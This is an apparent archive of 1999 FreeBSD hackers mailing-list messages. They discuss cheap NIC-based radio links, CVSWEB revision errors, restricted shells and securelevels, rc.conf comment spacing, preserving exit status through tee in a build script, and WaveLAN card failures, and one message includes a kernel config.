is a nice round number :-). So what's wrong with PLIP? Last time I used it, I was getting about 50 kB/s out of it. > I'm not looking to invest in new hardware, and I can save on a bit > of hardware by letting the NIC worry about the link. The NIC also > greatly simplies the system. At worst, I'd need a machine with a > 3C503 and a NE2000. And then I'll probably use dummynet for > bandwidth limiting over the link so it doesn't get flooded. > > I'm going to be building at least three of these units, assuming I get > the technical issues out of the way. So I'm looking at a cheap (hardware > and software) way of getting data in and out of a PC with IP support and > such. It just makes sense in my POV to use a NIC. It's capable of 10 > Mbps and has most of the circuitry for preparing data for transmission > on it. If you will, it's a ready to use data pump. I think the technical issues will be your problem. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1:20:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 5FFCC14CDE for ; Sat, 28 Aug 1999 01:20:10 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id RAA29284; Sat, 28 Aug 1999 17:47:44 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="_=XFMail.1.3.p0.FreeBSD:990828174744:18482=_"; micalg=pgp-md5; protocol="application/pgp-signature" In-Reply-To: <19990828174145.K13904@freebie.lemis.com> Date: Sat, 28 Aug 1999 17:47:44 +0930 (CST) From: "Daniel O'Connor" To: Greg Lehey Subject: RE: Cheap link (was: Are the ethernet drivers time dependent?) Cc: hackers@FreeBSD.ORG, Kris Kirby Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.3.p0.FreeBSD:990828174744:18482=_ Content-Type: text/plain; charset=us-ascii On 28-Aug-99 Greg Lehey wrote: > So what's wrong with PLIP? Last time I used it, I was getting about > 50 kB/s out of it. PLIP has a terrible CPU/speed ratio.. You have to busy wait while bashing the parallel port which is just yech :( --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum --_=XFMail.1.3.p0.FreeBSD:990828174744:18482=_ Content-Type: application/pgp-signature -----BEGIN PGP MESSAGE----- Version: 2.6.3ia iQCVAwUBN8ebKFbYW/HEoF9pAQG2JgP+JY/OcauCr35hBWmu5PYPO3luhs/DXjgV 5qz0eSWoC/VscSxoeeSUa6YQg3Wd4fZ+zI78kHca3ncZBzhgAmEsMG3eJ2+7j8uG TWsQcGgN882vWJME5MQRJRrXGHtcGslIRTSLCpLoXbdu0uJ4gv2wqnVd094KO0Tt EERoEwqjSt4= =9X2e -----END PGP MESSAGE----- --_=XFMail.1.3.p0.FreeBSD:990828174744:18482=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1:23:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fleming.cs.strath.ac.uk (fleming.cs.strath.ac.uk [130.159.196.126]) by hub.freebsd.org (Postfix) with ESMTP id DFCFA14CAB for ; Sat, 28 Aug 1999 01:23:34 -0700 (PDT) (envelope-from roger@cs.strath.ac.uk) Received: from cs.strath.ac.uk (scary.dmem.strath.ac.uk [130.159.202.5]) by fleming.cs.strath.ac.uk (8.8.8/8.8.8) with ESMTP id JAA14449 Sat, 28 Aug 1999 09:23:32 +0100 (BST) Message-ID: <37C79CA2.C3C8F6E0@cs.strath.ac.uk> Date: Sat, 28 Aug 1999 09:24:02 +0100 From: Roger Hardiman Organization: Strathclyde University X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 3.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: hackers@freebsd.org Subject: CVSWEB not happy with $FreeBSD$ change (was $Id$) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've just done a commit following peters $Id$ to $FreeBSD$ changes. But CVSWEB is getting things totally wrong. Take a look at this URL, which points to the picoBSD 'build' script http://www.freebsd.org/cgi/cvsweb.cgi/src/release/picobsd/build/build?rev=1.18 The file is version 1.18, comitted by me (roger), but the web page gives the entry for 1.17, committed by Peter A cvs checkout on freefall gives the correct version and correct ID string. But the cvsweb pages is all messed up. Any ideas? Roger To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1:24:36 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 5BC1314CAB for ; Sat, 28 Aug 1999 01:24:33 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-51.dialup.HiWAAY.net [216.180.35.51] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id DAA04056; Sat, 28 Aug 1999 03:24:12 -0500 (CDT) Message-ID: <37C79C97.E33C91FD@airnet.net> Date: Sat, 28 Aug 1999 03:23:51 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: Greg Lehey Cc: hackers@freebsd.org Subject: Re: Cheap link (was: Are the ethernet drivers time dependent?) References: <37C7952C.44F0BE51@airnet.net> <19990828174145.K13904@freebie.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey wrote: > > I'm going to be building at least three of these units, assuming I get > > the technical issues out of the way. So I'm looking at a cheap (hardware > > and software) way of getting data in and out of a PC with IP support and > > such. It just makes sense in my POV to use a NIC. It's capable of 10 > > Mbps and has most of the circuitry for preparing data for transmission > > on it. If you will, it's a ready to use data pump. > > I think the technical issues will be your problem. Well, yeah. :-) High speed FHSS equipment is rather complicated and requires come pretty accurate (TXCO?) signal sources. There are going to be problems. If I can't use a ethernet card, I've got a MCU in mind to do the job. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1:30:30 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id E5C5D14D35 for ; Sat, 28 Aug 1999 01:30:28 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-51.dialup.HiWAAY.net [216.180.35.51] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id DAA11133; Sat, 28 Aug 1999 03:29:42 -0500 (CDT) Message-ID: <37C79DE0.8045C21@airnet.net> Date: Sat, 28 Aug 1999 03:29:20 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: "Daniel O'Connor" Cc: hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel O'Connor wrote: > > On 28-Aug-99 Kris Kirby wrote: > > I'm going to be building at least three of these units, assuming I get > > the technical issues out of the way. So I'm looking at a cheap (hardware > > and software) way of getting data in and out of a PC with IP support and > > such. It just makes sense in my POV to use a NIC. It's capable of 10 > > Mbps and has most of the circuitry for preparing data for transmission > > on it. If you will, it's a ready to use data pump. > > Ahh I see.. > So you're basically making a ethernet->radio type of thing? > > Or actually mangling the card itself? Both. The problem is that you can't cram a signal moving at 10 Mbps through a radio interface designed for 256K, even if it is bandwidth limited to 256K. I'm hoping the 3C503 is ancient enough that I can slow it down by yanking it's 20.0000 MHz crystal oscillator and feeding it a lower speed signal. I'm going to walk them down to see just how far I can go. After all, 2 Mbps isn't bad, it just requires a little more work. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1:34:34 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 3EB7714D35 for ; Sat, 28 Aug 1999 01:34:28 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id SAA29638; Sat, 28 Aug 1999 18:03:05 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="_=XFMail.1.3.p0.FreeBSD:990828180305:18482=_"; micalg=pgp-md5; protocol="application/pgp-signature" In-Reply-To: <37C79DE0.8045C21@airnet.net> Date: Sat, 28 Aug 1999 18:03:05 +0930 (CST) From: "Daniel O'Connor" To: Kris Kirby Subject: Re: Are the ethernet drivers time dependent? Cc: hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.3.p0.FreeBSD:990828180305:18482=_ Content-Type: text/plain; charset=us-ascii On 28-Aug-99 Kris Kirby wrote: > Both. The problem is that you can't cram a signal moving at 10 Mbps > through a radio interface designed for 256K, even if it is bandwidth > limited to 256K. I'm hoping the 3C503 is ancient enough that I can slow > it down by yanking it's 20.0000 MHz crystal oscillator and feeding it a > lower speed signal. I'm going to walk them down to see just how far I > can go. After all, 2 Mbps isn't bad, it just requires a little more > work. Ahh eeww :) I hope you have a lot of spare time ;) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum --_=XFMail.1.3.p0.FreeBSD:990828180305:18482=_ Content-Type: application/pgp-signature -----BEGIN PGP MESSAGE----- Version: 2.6.3ia iQCVAwUBN8eewFbYW/HEoF9pAQEfpQQAlS4CY5IqVklgcT3IbJKrveWXboIJC0t4 P49TVvewCC9Ns4w/6bxYa+LcoUzYcqKrQRYZ/kp3AQwCVr1ZgKIH7w8mmPwCoicr oJ5vKZQFxJ+6EL3PDb1WtguRvbicNSTAgmsEaNOvN7thz8WeM9gz7h5x5e0QOBT1 XEhEhyWUOIg= =eD6V -----END PGP MESSAGE----- --_=XFMail.1.3.p0.FreeBSD:990828180305:18482=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1:35: 6 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dingo.cdrom.com (castles558.castles.com [208.214.165.122]) by hub.freebsd.org (Postfix) with ESMTP id 0337B155BC for ; Sat, 28 Aug 1999 01:35:03 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (LOCALHOST [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id BAA02068; Sat, 28 Aug 1999 01:28:26 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199908280828.BAA02068@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Kris Kirby Cc: "Daniel O'Connor" , hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? In-reply-to: Your message of "Sat, 28 Aug 1999 03:29:20 CDT." <37C79DE0.8045C21@airnet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 28 Aug 1999 01:28:26 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Both. The problem is that you can't cram a signal moving at 10 Mbps > through a radio interface designed for 256K, even if it is bandwidth > limited to 256K. I'm hoping the 3C503 is ancient enough that I can slow > it down by yanking it's 20.0000 MHz crystal oscillator and feeding it a > lower speed signal. I'm going to walk them down to see just how far I > can go. After all, 2 Mbps isn't bad, it just requires a little more > work. The 8390 should be functional down to 1MHz or so, and I don't think that signal is used for any other chip functions. You can take the i82586 a lot slower; I recall several S/HDLC-like cards that used them as USRTs in the hundreds of kilobits per second range. Bearing in mind that both the 8390 and the 82586 were designed back when 10MBps was "fast" ethernet. -- \\ The mind's the standard \\ Mike Smith \\ of the man. \\ msmith@freebsd.org \\ -- Joseph Merrick \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 3: 6:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.kyrnet.kg (ns.kyrnet.kg [195.254.160.9]) by hub.freebsd.org (Postfix) with ESMTP id CCE3814FB9 for ; Sat, 28 Aug 1999 03:06:17 -0700 (PDT) (envelope-from fygrave@tigerteam.net) Received: from localhost (fygrave@localhost) by ns.kyrnet.kg (8.9.3/8.9.3) with ESMTP id QAA08948; Sun, 29 Aug 1999 16:03:14 +0400 (MSD) X-Authentication-Warning: ns.kyrnet.kg: fygrave owned process doing -bs Date: Sun, 29 Aug 1999 16:03:14 +0400 (MSD) From: CyberPsychotic X-Sender: fygrave@ns.kyrnet.kg To: EuroHack ML Cc: freebsd-hackers@freebsd.org Subject: Re: [EuroHaCk] re + init + securelevel-nonsense In-Reply-To: <199908271610.SAA13906@dione.ids.pl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ~ ~ >if anyone ever played with shells, maybe you'd like to have a look on ~ >restricted shell, I did for a couple of hours. the only thing I haven't ~ So break out via 'exec bash' ;-) eh?;-) sh on OpenBSD (at least) has quite nice feature to disable exec'ing any stuff which has path specified if shell name matches *r*sh pattern(i.g. it would run passwd but not /usr/bin/passwd etc) so by setting up safe path variable (which is done in my shell) and copying only user-safe proggies into the place would be safe enuff. ~ >figured, is how, when spawned process is suspended, I should make shell ~ >fell like it received SIGCONT signal.. oh, well, I need to get to my unice ~ >bible back again.. :) ~ APUE? ;-) yep. :) ~ Some1 an idea why FreeBSD 3.1. fails to set seclevel back to 0 ~ when sending init signal 15 to get to singleuser-mode? ~ might be bug in code. What would freebsd-hackers say?;-) ~ In openBSD it works fine, but OpenBSD sets seclevel to 1 while boot. ~ On F*BSD i set it by hand. ~ Ahhh...sending 25 times a SIGSYS to init gives kernel-panic. No wonder... eh.. heh :-) ~ + delete /usr/src/sys ~ + disable LKM's ~ + disable bpf ~ + set seclevel to 3 ~ + set up proper fw ~ + disable all accounts and run only httpd or what you need ~ ~ }|-) :-) okay. now that's gotta be beginning of BSD security howto.. ;-) ~ It would be absolutely no fun to go to this machine. securelevel 2: Highly secure mode - same as secure mode, plus disks are always read-only whether mounted or not and the settimeofday(2) system call can only advance the time. This level precludes tampering with filesystems by unmounting them, but also inhibits running newfs(8) while the system is multi-user. Because the clock cannot be set back in time, malicious users who have gained root privi- leges are unable to change a file's ctime. uhum.. sounds good ;-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 3:22: 4 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 8EAE114D63 for ; Sat, 28 Aug 1999 03:22:00 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) id LAA79649; Sat, 28 Aug 1999 11:12:55 +0100 (BST) (envelope-from nik) Date: Sat, 28 Aug 1999 11:12:55 +0100 From: Nik Clayton To: Doug Cc: Nate Williams , freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes Message-ID: <19990828111254.A79158@catkin.nothing-going-on.org> References: <199908271705.LAA24405@mt.sri.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Doug on Fri, Aug 27, 1999 at 11:23:06AM -0700 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Aug 27, 1999 at 11:23:06AM -0700, Doug wrote: > On Fri, 27 Aug 1999, Nate Williams wrote: > > Sentences are supposed to have two spaces before you start the next > > sentence. > > Well, that was definitely the old typographical convention, but in > the digital age it's fallen into disfavor. It was easier to delete the > second space to make them all consistent, but I can go with double spaces > if that's the consensus. I did this change over on the FDP in the Handbook, thinking it didn't make any difference either. Then I got deluged with e-mail from people telling me that lots of editors use the double space as part of their heuristic to determine where sentences start and end. And I turned it back :-) N -- [intentional self-reference] can be easily accommodated using a blessed, non-self-referential dummy head-node whose own object destructor severs the links. -- Tom Christiansen in <375143b5@cs.colorado.edu> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 3:28:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id 8FF2E14D63 for ; Sat, 28 Aug 1999 03:28:58 -0700 (PDT) (envelope-from chris@holly.dyndns.org) Received: from holly.dyndns.org (adsl-216-62-157-60.dsl.hstntx.swbell.net) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with ESMTP id <0FH600F767MJ2D@mta4.rcsntx.swbell.net> for freebsd-hackers@FreeBSD.ORG; Sat, 28 Aug 1999 05:25:31 -0500 (CDT) Received: (from chris@localhost) by holly.dyndns.org (8.9.3/8.9.3) id FAA33544; Sat, 28 Aug 1999 05:27:24 -0500 (CDT envelope-from chris) Date: Sat, 28 Aug 1999 05:27:23 -0500 From: Chris Costello Subject: Re: Please review: rc file changes In-reply-to: To: Doug Cc: Nate Williams , freebsd-hackers@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <19990828052723.G25872@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <199908271705.LAA24405@mt.sri.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Aug 27, 1999, Doug wrote: > > > -# this file, but rather in /etc/defaults/rc.conf. Please check this file > > > +# this file, but rather in /etc/defaults/rc.conf. Please check that file > Well, that was definitely the old typographical convention, but in > the digital age it's fallen into disfavor. It was easier to delete the > second space to make them all consistent, but I can go with double spaces > if that's the consensus. I've never heard of that. I've always found that two spaces after end-of-sentence punctuation makes things easier to read! (Don't think I don't appreciate this, I just love to nitpick. :) -- |Chris Costello |To iterate is human; to recurse, divine. `---------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 3:45:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mpp.pro-ns.net (pppdsle70.mpls.uswest.net [216.160.23.70]) by hub.freebsd.org (Postfix) with ESMTP id 3678A14DAA for ; Sat, 28 Aug 1999 03:45:40 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id FAA98239; Sat, 28 Aug 1999 05:45:05 -0500 (CDT) (envelope-from mpp) From: Mike Pritchard Message-Id: <199908281045.FAA98239@mpp.pro-ns.net> Subject: Re: Please review: rc file changes In-Reply-To: <19990828052723.G25872@holly.calldei.com> from Chris Costello at "Aug 28, 1999 05:27:23 am" To: chris@calldei.com Date: Sat, 28 Aug 1999 05:45:05 -0500 (CDT) Cc: freebsd-hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Fri, Aug 27, 1999, Doug wrote: > > > > -# this file, but rather in /etc/defaults/rc.conf. Please check this file > > > > +# this file, but rather in /etc/defaults/rc.conf. Please check that file > > > Well, that was definitely the old typographical convention, but in > > the digital age it's fallen into disfavor. It was easier to delete the > > second space to make them all consistent, but I can go with double spaces > > if that's the consensus. > > I've never heard of that. I've always found that two spaces > after end-of-sentence punctuation makes things easier to read! > > (Don't think I don't appreciate this, I just love to nitpick. :) I vote for two spaces after the period before the start of a new sentence. Even in the digital age, I've always found that the two spaces make for better reading of text. I think that most of our formatting tools do this too (please don't flame me if I'm wrong :-). -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 5:29:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252]) by hub.freebsd.org (Postfix) with ESMTP id 3BE8F14DB9 for ; Sat, 28 Aug 1999 05:29:16 -0700 (PDT) (envelope-from olli@dorifer.heim3.tu-clausthal.de) Received: (from olli@localhost) by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id OAA28773 for freebsd-hackers@FreeBSD.ORG; Sat, 28 Aug 1999 14:25:51 +0200 (CEST) (envelope-from olli) Date: Sat, 28 Aug 1999 14:25:51 +0200 (CEST) From: Oliver Fromme Message-Id: <199908281225.OAA28773@dorifer.heim3.tu-clausthal.de> To: freebsd-hackers@FreeBSD.ORG Subject: Re: Help with exit status in shell script Organization: Administration Heim 3 Reply-To: freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Newsreader: TIN [version 1.2 RZTUC(3) PL2] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Roger Hardiman wrote in list.freebsd-hackers: > There is a bug in the PicoBSD build shell script in and I have no idea > how to fix it. As a result, build errors are not caught. > It is all to do with Exit Status of programs called from a shell script. > Please help. > > The code fragment from /usr/src/release/picobsd/build/build is > ./stage1 2>&1 | tee stage1.out > if [ "X$?" != "X0" ] ; then > echo "^G" > echo "-> ERROR in \"${i}\" script. Aborting the build process." > exit 10 > fi > > Build calls Stage1. Stage1 will return with an error code in some cases > and we want to trap this and halt the Build script. > > ./stage1 2>&1 | tee stage1.out > if [ "X$?" != "X0" ] ; then > > Normally, $? will return the Exit Status of the last executed program. > However, due to the pipe through Tee, the Exit Status I get is the > exit status of Tee and not the exit status of the Stage1 script. > > I still want to output the stage1 script to screen and a log file. > How can I do this and preserve the exit status for the Build script. There are several solutions, but all of them are somewhat ugly... One approach would be to use a named pipe, run stage1 in the background and then wait for it, grabbing its exit status: FIFO=/tmp/`basename $0`.$$.fifo trap "rm -f $FIFO" 1 2 15 mkfifo $FIFO ./stage1 > $FIFO 2>&1 & STAGE1PID=$! tee < $FIFO stage1.out wait $STAGE1PID if [ $? != 0 ]; then ... rm -f $FIFO Maybe it's possible to open a new shell descriptor (e.g. 3) instead of a named pipe, but I haven't tried this. Another way would be to put the exit code into a temporary file, like this: trap "rm -f stage1.result" 1 2 15 ( ./stage1 2>&1 echo $? > stage1.result ) | tee stage1.out if [ `cat stage1.result` != 0 ]; then ... rm -f stage1.result Regards Oliver -- Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany (Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de) "In jedem Stück Kohle wartet ein Diamant auf seine Geburt" (Terry Pratchett) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 6:44:14 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mrtc.org (waena.mrtc.org [199.4.33.17]) by hub.freebsd.org (Postfix) with ESMTP id 3EDE114D5B for ; Sat, 28 Aug 1999 06:43:55 -0700 (PDT) (envelope-from puga@maui.com) Received: from maui.com (puga.mauibuilt.com [205.166.10.2]) by mrtc.org (8.8.4/8.8.4) with ESMTP id DAA11273; Sat, 28 Aug 1999 03:55:03 -1000 (HST) Message-ID: <37C7E722.89B3F7FC@maui.com> Date: Sat, 28 Aug 1999 03:41:55 -1000 From: Richard Puga Organization: Maui Built Machines X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: wpaul@skynet.ctr.columbia.edu, jflowers@ezo.net, randy@psg.com, freebsd-hackers@freebsd.org Subject: WaveLan IEE problem References: <199908162135.RAA21309@skynet.ctr.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I wanted to bring everyone up to date on the problems I have been having with the WaveLAN Turbo PC cards. To date I am still reciving the following error after a day or so of use on only the near side of a point to point link. wi0: init failed wi0: failed to allocate 1594 bytes on NIC wi0: tx buffer allocation failed wi0: failed to allocate 1594 bytes on NIC wi0: mgmt. buffer allocation failed wi0: xmit failed wi0: device timeout (hot swaping the card restores its ability to work) The far side of the lynk has only experianced this problem (or any problems) one time in the month or so I have been using it. I have left that side alone which is running on a laptop with a hacked version of PAO. This is what I have done to date in order to try and solve the problem on the near side. 1) I have applied a patch provided by Bill Paul to the PAO version as well as the lastest version of if_wi.c 2) Jim Flowers infromed me that he was having great success running FreeBSD-Stable, I upgraded to STABLE and this got hot swaping working but still hasn't seemed to solve the problem. (at this point I am no longer running the patch from Bill Paul) 3) I started from scratch. I am using a differant computer (old pent-90 which has run a wl0 card for years), I bought a new WaveLAN Turbo card, A new ISA/PCMCIA adaptor, and did a fresh install of FreeBSD-STABLE on a new hard dirve. On the new hard drive I have only modified the following files, /etc/pccard.conf /etc/rc.conf and the kernel config. Below please find a copy of each. Well thats it in a nut shell. Thaks to everyone for helping so far!! Sincerly, RIchard Puga puga@maui.com ---Kernel config--- # GENERIC -- Generic machine with WD/AHx/NCR/BTx family disks # # For more information on this file, please read the handbook section on # Kernel Configuration Files: # # http://www.freebsd.org/handbook/kernelconfig-config.html # # The handbook is also available locally in /usr/share/doc/handbook # if you've installed the doc distribution, otherwise always see the # FreeBSD World Wide Web server (http://www.FreeBSD.ORG/) for the # latest information. # # An exhaustive list of options and more detailed explanations of the # device lines is also present in the ./LINT configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in LINT. # # $Id: GENERIC,v 1.143.2.18 1999/08/18 21:35:37 obrien Exp $ machine "i386" cpu "I386_CPU" cpu "I486_CPU" cpu "I586_CPU" cpu "I686_CPU" ident GENERIC maxusers 32 #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options FFS #Berkeley Fast Filesystem options FFS_ROOT #FFS usable as root device [keep this!] options MFS #Memory Filesystem options MFS_ROOT #MFS usable as root device, "MFS" req'ed options NFS #Network Filesystem options NFS_ROOT #NFS usable as root device, "NFS" req'ed options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options "CD9660_ROOT" #CD-ROM usable as root. "CD9660" req'ed options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15000 #Be pessimistic about Joe SCSI device options UCONSOLE #Allow users to grab the console options FAILSAFE #Be conservative options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor config kernel root on wd0 # To make an SMP kernel, the next two are needed #options SMP # Symmetric MultiProcessor Kernel #options APIC_IO # Symmetric (APIC) I/O # Optionally these may need tweaked, (defaults shown): #options NCPU=2 # number of CPUs #options NBUS=4 # number of busses #options NAPIC=1 # number of IO APICs #options NINTR=24 # number of INTs controller isa0 controller pnp0 #controller eisa0 controller pci0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 disk fd0 at fdc0 drive 0 disk fd1 at fdc0 drive 1 options "CMD640" # work around CMD640 chip deficiency controller wdc0 at isa? port "IO_WD1" bio irq 14 disk wd0 at wdc0 drive 0 disk wd1 at wdc0 drive 1 controller wdc1 at isa? port "IO_WD2" bio irq 15 disk wd2 at wdc1 drive 0 disk wd3 at wdc1 drive 1 options ATAPI #Enable ATAPI support for IDE bus options ATAPI_STATIC #Don't do it as an LKM device acd0 #IDE CD-ROM device wfd0 #IDE Floppy (e.g. LS-120) # A single entry for any of these controllers (ncr, ahb, ahc) is # sufficient for any number of installed devices. controller ncr0 controller ahb0 controller ahc0 controller isp0 # This controller offers a number of configuration options, too many to # document here - see the LINT file in this directory and look up the # dpt0 entry there for much fuller documentation on this. controller dpt0 controller adv0 at isa? port ? cam irq ? controller adw0 controller bt0 at isa? port ? cam irq ? controller aha0 at isa? port ? cam irq ? controller scbus0 device da0 